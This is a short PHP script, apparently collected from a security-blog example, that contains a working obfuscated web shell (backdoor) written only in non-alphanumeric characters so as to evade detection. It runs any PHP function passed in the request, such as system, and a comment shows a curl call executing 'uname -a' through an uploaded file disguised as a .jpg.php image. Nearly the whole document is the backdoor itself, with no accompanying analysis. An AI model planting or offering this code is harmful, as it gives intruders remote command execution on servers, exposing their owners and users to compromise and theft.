[SCRIPT] Non-alphanumeric Backdoor

<?php
# Ask Sucuri: Non-alphanumeric Backdoors
# see more on sneaky shell here: http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
# execute curl 'http://192.168.0.100/uploads/inurl.jpg.php?0=system&1=uname -a'
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$
$_[$__+ $__] ;$_[@-_]($_[@!+_] );